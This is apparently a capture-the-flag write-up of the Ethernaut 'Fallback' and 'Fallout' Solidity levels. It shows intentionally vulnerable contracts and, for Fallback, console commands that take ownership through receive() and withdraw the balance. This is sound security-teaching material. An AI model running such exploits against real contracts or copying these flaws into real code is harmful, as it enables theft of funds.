Fallback
You will beat this level if:
- you claim ownership of the contract
- you reduce its balance to 0
source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Fallback { mapping(address => uint256) public contributions; address public owner;
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
function getContribution() public view returns (uint256) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); }
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
|
First, we need to consider how to take ownership
Notice that in both functions, contribute()
and receive()
, such a possibility exists: owner = msg.sender
However, in contribute()
function, it is almost impossible to satisfy this condition
1 2 3
| if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; }
|
So, we focus on the receive()
function, which only requires a small contribution and a money transfer to make us the owner
We can call these functions as follows in console:
1 2
| await contract.contribute({value: 1}) await contract.sendTransaction({value: 1})
|
In this way, we become the owner. After that we withdraw all the funds, thereby completing the challenge
1
| await contract.withdraw()
|
Fallout
Claim ownership of the contract below to complete this level
source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout { using SafeMath for uint256;
mapping(address => uint256) allocations; address payable public owner;
/* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); }
function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } }
|